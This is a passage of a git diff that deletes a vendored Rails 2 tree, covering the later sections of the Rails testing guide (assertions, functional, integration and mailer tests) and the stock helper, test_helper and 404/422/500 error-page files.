-Now to get this test to pass we can add a model level validation for the _title_ field.
-
-<ruby>
-class Post < ActiveRecord::Base
-  validates_presence_of :title
-end
-</ruby>
-
-Now the test should pass. Let us verify by running the test again:
-
-<pre>
-$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.193608 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-</pre>
-
-Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
-
-TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with "15 TDD steps to create a Rails application":http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html.
-
-To see how an error gets reported, here's a test containing an error:
-
-<ruby>
-def test_should_report_error
-  # some_undefined_variable is not defined elsewhere in the test case
-  some_undefined_variable
-  assert true
-end
-</ruby>
-
-Now you can see even more output in the console from running the tests:
-
-<pre>
-$ ruby unit/post_test.rb -n test_should_report_error
-Loaded suite unit/post_test
-Started
-E
-Finished in 0.195757 seconds.
-
-  1) Error:
-test_should_report_error(PostTest):
-NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x2cc9de8>
-    /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
-    unit/post_test.rb:16:in `test_should_report_error'
-    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
-    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
-
-1 tests, 0 assertions, 0 failures, 1 errors
-</pre>
-
-Notice the 'E' in the output. It denotes a test with error.
-
-NOTE: The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
-
-h4. What to Include in Your Unit Tests
-
-Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
-
-h4. Assertions Available
-
-By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
-
-There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
-
-|_.Assertion                                                       |_.Purpose|
-|+assert( boolean, [msg] )+                                        |Ensures that the object/expression is true.|
-|+assert_equal( obj1, obj2, [msg] )+                               |Ensures that +obj1 == obj2+ is true.|
-|+assert_not_equal( obj1, obj2, [msg] )+                           |Ensures that +obj1 == obj2+ is false.|
-|+assert_same( obj1, obj2, [msg] )+			                       |Ensures that +obj1.equal?(obj2)+ is true.|
-|+assert_not_same( obj1, obj2, [msg] )+                            |Ensures that +obj1.equal?(obj2)+ is false.|
-|+assert_nil( obj, [msg] )+                                        |Ensures that +obj.nil?+ is true.|
-|+assert_not_nil( obj, [msg] )+                                    |Ensures that +obj.nil?+ is false.|
-|+assert_match( regexp, string, [msg] )+                           |Ensures that a string matches the regular expression.|
-|+assert_no_match( regexp, string, [msg] )+                        |Ensures that a string doesn't matches the regular expression.|
-|+assert_in_delta( expecting, actual, delta, [msg] )+              |Ensures that the numbers +expecting+ and +actual+ are within +delta+ of each other.|
-|+assert_throws( symbol, [msg] ) { block }+                        |Ensures that the given block throws the symbol.|
-|+assert_raise( exception1, exception2, ... ) { block }+          |Ensures that the given block raises one of the given exceptions.|
-|+assert_nothing_raised( exception1, exception2, ... ) { block }+  |Ensures that the given block doesn't raise one of the given exceptions.|
-|+assert_instance_of( class, obj, [msg] )+                         |Ensures that +obj+ is of the +class+ type.|
-|+assert_kind_of( class, obj, [msg] )+                             |Ensures that +obj+ is or descends from +class+.|
-|+assert_respond_to( obj, symbol, [msg] )+                         |Ensures that +obj+ has a method called +symbol+.|
-|+assert_operator( obj1, operator, obj2, [msg] )+                  |Ensures that +obj1.operator(obj2)+ is true.|
-|+assert_send( array, [msg] )+                                     |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?|
-|+flunk( [msg] )+                                                  |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
-
-Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
-
-NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
-
-h4. Rails Specific Assertions
-
-Rails adds some custom assertions of its own to the +test/unit+ framework:
-
-|_.Assertion                                                                        |_.Purpose|
-|+assert_valid(record)+                                                             |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.|
-|+assert_difference(expressions, difference = 1, message = nil) {...}+           |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
-|+assert_no_difference(expressions, message = nil, &block)+                         |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
-|+assert_recognizes(expected_options, path, extras={}, message=nil)+                |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
-|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+  |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
-|+assert_response(type, message = nil)+                                             |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200,  +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range|
-|+assert_redirected_to(options = {}, message=nil)+                                  |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.|
-|+assert_template(expected = nil, message=nil)+                                     |Asserts that the request was rendered with the appropriate template file.|
-
-You'll see the usage of some of these assertions in the next chapter.
-
-h3. Functional Tests for Your Controllers
-
-In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
-
-h4. What to Include in your Functional Tests
-
-You should test for things such as:
-
-* was the web request successful?
-* was the user redirected to the right page?
-* was the user successfully authenticated?
-* was the correct object stored in the response template?
-* was the appropriate message displayed to the user in the view
-
-Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory.
-
-Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
-
-<ruby>
-def test_should_get_index
-  get :index
-  assert_response :success
-  assert_not_nil assigns(:posts)
-end
-</ruby>
-
-In the +test_should_get_index+ test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable.
-
-The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments:
-
-* The action of the controller you are requesting. This can be in the form of a string or a symbol.
-* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
-* An optional hash of session variables to pass along with the request.
-* An optional hash of flash values.
-
-Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session:
-
-<ruby>
-get(:show, {'id' => "12"}, {'user_id' => 5})
-</ruby>
-
-Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message.
-
-<ruby>
-get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
-</ruby>
-
-NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so.
-
-Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
-
-<ruby>
-def test_should_create_post
-  assert_difference('Post.count') do
-    post :create, :post => { :title => 'Some title'}
-  end
-
-  assert_redirected_to post_path(assigns(:post))
-end
-</ruby>
-
-Now you can try running all the tests and they should pass.
-
-h4. Available Request Types for Functional Tests
-
-If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 5 request types supported in Rails functional tests:
-
-* +get+
-* +post+
-* +put+
-* +head+
-* +delete+
-
-All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
-
-h4. The Four Hashes of the Apocalypse
-
-After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use:
-
-* +assigns+ - Any objects that are stored as instance variables in actions for use in views.
-* +cookies+ - Any cookies that are set.
-* +flash+ - Any objects living in the flash.
-* +session+ - Any object living in session variables.
-
-As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example:
-
-<ruby>
-  flash["gordon"]               flash[:gordon]
-  session["shmession"]          session[:shmession]
-  cookies["are_good_for_u"]     cookies[:are_good_for_u]
-
-# Because you can't use assigns[:something] for historical reasons:
-  assigns["something"]          assigns(:something)
-</ruby>
-
-h4. Instance Variables Available
-
-You also have access to three instance variables in your functional tests:
-
-* +@controller+ - The controller processing the request
-* +@request+ - The request
-* +@response+ - The response
-
-h4. A Fuller Functional Test Example
-
-Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
-
-<ruby>
-def test_should_create_post
-  assert_difference('Post.count') do
-    post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
-  end
-  assert_redirected_to post_path(assigns(:post))
-  assert_equal 'Post was successfully created.', flash[:notice]
-end
-</ruby>
-
-h4. Testing Views
-
-Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax.
-
-NOTE: You may find references to +assert_tag+ in other documentation, but this is now deprecated in favor of +assert_select+.
-
-There are two forms of +assert_select+:
-
-+assert_select(selector, [equality], [message])+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
-
-+assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants.
-
-For example, you could verify the contents on the title element in your response with:
-
-<ruby>
-assert_select 'title', "Welcome to Rails Testing Guide"
-</ruby>
-
-You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer +assert_select+ block:
-
-<ruby>
-assert_select 'ul.navigation' do
-  assert_select 'li.menu_item'
-end
-</ruby>
-
-Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
-
-<ruby>
-assert_select "ol" do |elements|
-  elements.each do |element|
-    assert_select element, "li", 4
-  end
-end
-
-assert_select "ol" do
-  assert_select "li", 8
-end
-</ruby>
-
-The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionController/Assertions/SelectorAssertions.html.
-
-h5. Additional View-Based Assertions
-
-There are more assertions that are primarily used in testing views:
-
-|_.Assertion                                                                        |_.Purpose|
-|+assert_select_email+                                                              |Allows you to make assertions on the body of an e-mail. |
-|+assert_select_rjs+                                                                |Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element.|
-|+assert_select_encoded+                                                            |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
-|+css_select(selector)+  or +css_select(element, selector)+                         |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
-
-Here's an example of using +assert_select_email+:
-
-<ruby>
-assert_select_email do
-  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
-end
-</ruby>
-
-h3. Integration Testing
-
-Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
-
-Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
-
-<shell>
-$ script/generate integration_test user_flows
-      exists  test/integration/
-      create  test/integration/user_flows_test.rb
-</shell>
-
-Here's what a freshly-generated integration test looks like:
-
-<ruby>
-require 'test_helper'
-
-class UserFlowsTest < ActionController::IntegrationTest
-  # fixtures :your, :models
-
-  # Replace this with your real tests.
-  def test_truth
-    assert true
-  end
-end
-</ruby>
-
-Integration tests inherit from +ActionController::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
-
-h4. Helpers Available for Integration Tests
-
-In addition to the standard testing helpers, there are some additional helpers available to integration tests:
-
-|_.Helper                                                                           |_.Purpose|
-|+https?+                                                                           |Returns +true+ if the session is mimicking a secure HTTPS request.|
-|+https!+                                                                           |Allows you to mimic a secure HTTPS request.|
-|+host!+                                                                            |Allows you to set the host name to use in the next request.|
-|+redirect?+                                                                        |Returns +true+ if the last request was a redirect.|
-|+follow_redirect!+                                                                 |Follows a single redirect response.|
-|+request_via_redirect(http_method, path, [parameters], [headers])+                 |Allows you to make an HTTP request and follow any subsequent redirects.|
-|+post_via_redirect(path, [parameters], [headers])+                                 |Allows you to make an HTTP POST request and follow any subsequent redirects.|
-|+get_via_redirect(path, [parameters], [headers])+                                  |Allows you to make an HTTP GET request and follow any subsequent redirects.|
-|+put_via_redirect(path, [parameters], [headers])+                                  |Allows you to make an HTTP PUT request and follow any subsequent redirects.|
-|+delete_via_redirect(path, [parameters], [headers])+                               |Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
-|+open_session+                                                                     |Opens a new session instance.|
-
-h4. Integration Testing Examples
-
-A simple integration test that exercises multiple controllers:
-
-<ruby>
-require 'test_helper'
-
-class UserFlowsTest < ActionController::IntegrationTest
-  fixtures :users
-
-  def test_login_and_browse_site
-    # login via https
-    https!
-    get "/login"
-    assert_response :success
-
-    post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password
-    assert_equal '/welcome', path
-    assert_equal 'Welcome avs!', flash[:notice]
-
-    https!(false)
-    get "/posts/all"
-    assert_response :success
-    assert assigns(:products)
-  end
-end
-</ruby>
-
-As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
-
-Here's an example of multiple sessions and custom DSL in an integration test
-
-<ruby>
-require 'test_helper'
-
-class UserFlowsTest < ActionController::IntegrationTest
-  fixtures :users
-
-  def test_login_and_browse_site
-
-    # User avs logs in
-    avs = login(:avs)
-    # User guest logs in
-    guest = login(:guest)
-
-    # Both are now available in different sessions
-    assert_equal 'Welcome avs!', avs.flash[:notice]
-    assert_equal 'Welcome guest!', guest.flash[:notice]
-
-    # User avs can browse site
-    avs.browses_site
-    # User guest can browse site aswell
-    guest.browses_site
-
-    # Continue with other assertions
-  end
-
-  private
-
-    module CustomDsl
-      def browses_site
-        get "/products/all"
-        assert_response :success
-        assert assigns(:products)
-      end
-    end
-
-    def login(user)
-      open_session do |sess|
-        sess.extend(CustomDsl)
-        u = users(user)
-        sess.https!
-        sess.post "/login", :username => u.username, :password => u.password
-        assert_equal '/welcome', path
-        sess.https!(false)
-      end
-    end
-end
-</ruby>
-
-h3. Rake Tasks for Running your Tests
-
-You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.
-
-|_.Tasks                         |_.Description|
-|+rake test+                     |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.|
-|+rake test:units+               |Runs all the unit tests from +test/unit+|
-|+rake test:functionals+         |Runs all the functional tests from +test/functional+|
-|+rake test:integration+         |Runs all the integration tests from +test/integration+|
-|+rake test:recent+              |Tests recent changes|
-|+rake test:uncommitted+         |Runs all the tests which are uncommitted. Only supports Subversion|
-|+rake test:plugins+             |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)|
-
-h3. Brief Note About +Test::Unit+
-
-Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+ that it is how we can use all the basic assertions in our tests.
-
-NOTE: For more information on +Test::Unit+, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/
-
-h3. Setup and Teardown
-
-If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller:
-
-<ruby>
-require 'test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-
-  # called before every single test
-  def setup
-    @post = posts(:one)
-  end
-
-  # called after every single test
-  def teardown
-    # as we are re-initializing @post before every test
-    # setting it to nil here is not essential but I hope
-    # you understand how you can use the teardown method
-    @post = nil
-  end
-
-  def test_should_show_post
-    get :show, :id => @post.id
-    assert_response :success
-  end
-
-  def test_should_destroy_post
-    assert_difference('Post.count', -1) do
-      delete :destroy, :id => @post.id
-    end
-
-    assert_redirected_to posts_path
-  end
-
-end
-</ruby>
-
-Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as ActiveSupport::Callbacks. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using:
-
-* a block
-* a method (like in the earlier example)
-* a method name as a symbol
-* a lambda
-
-Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol:
-
-<ruby>
-require '../test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-
-  # called before every single test
-  setup :initialize_post
-
-  # called after every single test
-  def teardown
-    @post = nil
-  end
-
-  def test_should_show_post
-    get :show, :id => @post.id
-    assert_response :success
-  end
-
-  def test_should_update_post
-    put :update, :id => @post.id, :post => { }
-    assert_redirected_to post_path(assigns(:post))
-  end
-
-  def test_should_destroy_post
-    assert_difference('Post.count', -1) do
-      delete :destroy, :id => @post.id
-    end
-
-    assert_redirected_to posts_path
-  end
-
-  private
-
-  def initialize_post
-    @post = posts(:one)
-  end
-
-end
-</ruby>
-
-h3. Testing Routes
-
-Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
-
-<ruby>
-def test_should_route_to_post
-  assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
-end
-</ruby>
-
-h3. Testing Your Mailers
-
-Testing mailer classes requires some specific tools to do a thorough job.
-
-h4. Keeping the Postman in Check
-
-Your +ActionMailer+ classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected.
-
-The goals of testing your +ActionMailer+ classes are to ensure that:
-
-* emails are being processed (created and sent)
-* the email content is correct (subject, sender, body, etc)
-* the right emails are being sent at the right times
-
-h5. From All Sides
-
-There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture -- yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
-
-h4. Unit Testing
-
-In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
-
-h5. Revenge of the Fixtures
-
-For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory.
-
-When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
-
-h5. The Basic Test Case
-
-Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action.
-
-<ruby>
-require 'test_helper'
-
-class UserMailerTest < ActionMailer::TestCase
-  tests UserMailer
-  def test_invite
-    @expected.from    = 'me@example.com'
-    @expected.to      = 'friend@example.com'
-    @expected.subject = "You have been invited by #{@expected.from}"
-    @expected.body    = read_fixture('invite')
-    @expected.date    = Time.now
-
-    assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded
-  end
-
-end
-</ruby>
-
-In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file.
-
-Here's the content of the +invite+ fixture:
-
-<pre>
-Hi friend@example.com,
-
-You have been invited.
-
-Cheers!
-</pre>
-
-This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+).
-
-However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
-
-h4. Functional Testing
-
-Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:
-
-<ruby>
-require 'test_helper'
-
-class UserControllerTest < ActionController::TestCase
-  def test_invite_friend
-    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
-      post :invite_friend, :email => 'friend@example.com'
-    end
-    invite_email = ActionMailer::Base.deliveries.first
-
-    assert_equal invite_email.subject, "You have been invited by me@example.com"
-    assert_equal invite_email.to[0], 'friend@example.com'
-    assert_match /Hi friend@example.com/, invite_email.body
-  end
-end
-</ruby>
-
-h3. Other Testing Approaches
-
-The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
-
-* "NullDB":http://avdi.org/projects/nulldb/, a way to speed up testing by avoiding database use.
-* "Factory Girl":http://github.com/thoughtbot/factory_girl/tree/master, as replacement for fixtures.
-* "Machinist":http://github.com/notahat/machinist/tree/master, another replacement for fixtures.
-* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions.
-* "RSpec":http://rspec.info/, a behavior-driven development framework
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8
-
-* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication)
-* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication)
-
diff --git a/vendor/rails/railties/helpers/application_controller.rb b/vendor/rails/railties/helpers/application_controller.rb
deleted file mode 100644
index 6635a3f4..00000000
--- a/vendor/rails/railties/helpers/application_controller.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# Filters added to this controller apply to all controllers in the application.
-# Likewise, all the methods added will be available for all controllers.
-
-class ApplicationController < ActionController::Base
-  helper :all # include all helpers, all the time
-  protect_from_forgery # See ActionController::RequestForgeryProtection for details
-
-  # Scrub sensitive parameters from your log
-  # filter_parameter_logging :password
-end
diff --git a/vendor/rails/railties/helpers/application_helper.rb b/vendor/rails/railties/helpers/application_helper.rb
deleted file mode 100644
index 22a7940e..00000000
--- a/vendor/rails/railties/helpers/application_helper.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-# Methods added to this helper will be available to all templates in the application.
-module ApplicationHelper
-end
diff --git a/vendor/rails/railties/helpers/performance_test.rb b/vendor/rails/railties/helpers/performance_test.rb
deleted file mode 100644
index 4b60558b..00000000
--- a/vendor/rails/railties/helpers/performance_test.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'test_helper'
-require 'performance_test_help'
-
-# Profiling results for each test method are written to tmp/performance.
-class BrowsingTest < ActionController::PerformanceTest
-  def test_homepage
-    get '/'
-  end
-end
diff --git a/vendor/rails/railties/helpers/test_helper.rb b/vendor/rails/railties/helpers/test_helper.rb
deleted file mode 100644
index b9fe2517..00000000
--- a/vendor/rails/railties/helpers/test_helper.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-ENV["RAILS_ENV"] = "test"
-require File.expand_path(File.dirname(__FILE__) + "/../config/environment")
-require 'test_help'
-
-class ActiveSupport::TestCase
-  # Transactional fixtures accelerate your tests by wrapping each test method
-  # in a transaction that's rolled back on completion.  This ensures that the
-  # test database remains unchanged so your fixtures don't have to be reloaded
-  # between every test method.  Fewer database queries means faster tests.
-  #
-  # Read Mike Clark's excellent walkthrough at
-  #   http://clarkware.com/cgi/blosxom/2005/10/24#Rails10FastTesting
-  #
-  # Every Active Record database supports transactions except MyISAM tables
-  # in MySQL.  Turn off transactional fixtures in this case; however, if you
-  # don't care one way or the other, switching from MyISAM to InnoDB tables
-  # is recommended.
-  #
-  # The only drawback to using transactional fixtures is when you actually 
-  # need to test transactions.  Since your test is bracketed by a transaction,
-  # any transactions started in your code will be automatically rolled back.
-  self.use_transactional_fixtures = true
-
-  # Instantiated fixtures are slow, but give you @david where otherwise you
-  # would need people(:david).  If you don't want to migrate your existing
-  # test cases which use the @david style and don't mind the speed hit (each
-  # instantiated fixtures translates to a database query per test method),
-  # then set this back to true.
-  self.use_instantiated_fixtures  = false
-
-  # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order.
-  #
-  # Note: You'll currently still have to declare fixtures explicitly in integration tests
-  # -- they do not yet inherit this setting
-  fixtures :all
-
-  # Add more helper methods to be used by all tests here...
-end
diff --git a/vendor/rails/railties/html/404.html b/vendor/rails/railties/html/404.html
deleted file mode 100644
index eff660b9..00000000
--- a/vendor/rails/railties/html/404.html
+++ /dev/null
@@ -1,30 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-
-<head>
-  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
-  <title>The page you were looking for doesn't exist (404)</title>
-	<style type="text/css">
-		body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
-		div.dialog {
-			width: 25em;
-			padding: 0 4em;
-			margin: 4em auto 0 auto;
-			border: 1px solid #ccc;
-			border-right-color: #999;
-			border-bottom-color: #999;
-		}
-		h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
-	</style>
-</head>
-
-<body>
-  <!-- This file lives in public/404.html -->
-  <div class="dialog">
-    <h1>The page you were looking for doesn't exist.</h1>
-    <p>You may have mistyped the address or the page may have moved.</p>
-  </div>
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/rails/railties/html/422.html b/vendor/rails/railties/html/422.html
deleted file mode 100644
index b54e4a3c..00000000
--- a/vendor/rails/railties/html/422.html
+++ /dev/null
@@ -1,30 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-
-<head>
-  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
-  <title>The change you wanted was rejected (422)</title>
-	<style type="text/css">
-		body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
-		div.dialog {
-			width: 25em;
-			padding: 0 4em;
-			margin: 4em auto 0 auto;
-			border: 1px solid #ccc;
-			border-right-color: #999;
-			border-bottom-color: #999;
-		}
-		h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
-	</style>
-</head>
-
-<body>
-  <!-- This file lives in public/422.html -->
-  <div class="dialog">
-    <h1>The change you wanted was rejected.</h1>
-    <p>Maybe you tried to change something you didn't have access to.</p>
-  </div>
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/rails/railties/html/500.html b/vendor/rails/railties/html/500.html
deleted file mode 100644
index ec3bbf02..00000000
--- a/vendor/rails/railties/html/500.html
+++ /dev/null
@@ -1,30 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-
-<head>
-  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
-  <title>We're sorry, but something went wrong (500)</title>
-	<style type="text/css">
-		body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
-		div.dialog {
-			width: 25em;
-			padding: 0 4em;
-			margin: 4em auto 0 auto;
-			border: 1px solid #ccc;
-			border-right-color: #999;
-			border-bottom-color: #999;
-		}
-		h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
-	</style>
-</head>
-
-<body>
-  <!-- This file lives in public/500.html -->
-  <div class="dialog">
-    <h1>We're sorry, but something went wrong.</h1>
-    <p>We've been notified about this issue and we'll take a look at it shortly.</p>
-  </div>
-</body>
-</html>
diff --git a/vendor/rails/railties/html/favicon.ico b/vendor/rails/railties/html/favicon.ico
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/html/images/rails.png b/vendor/rails/railties/html/images/rails.png
deleted file mode 100644
index d5edc04e..00000000
Binary files a/vendor/rails/railties/html/images/rails.png and /dev/null differ
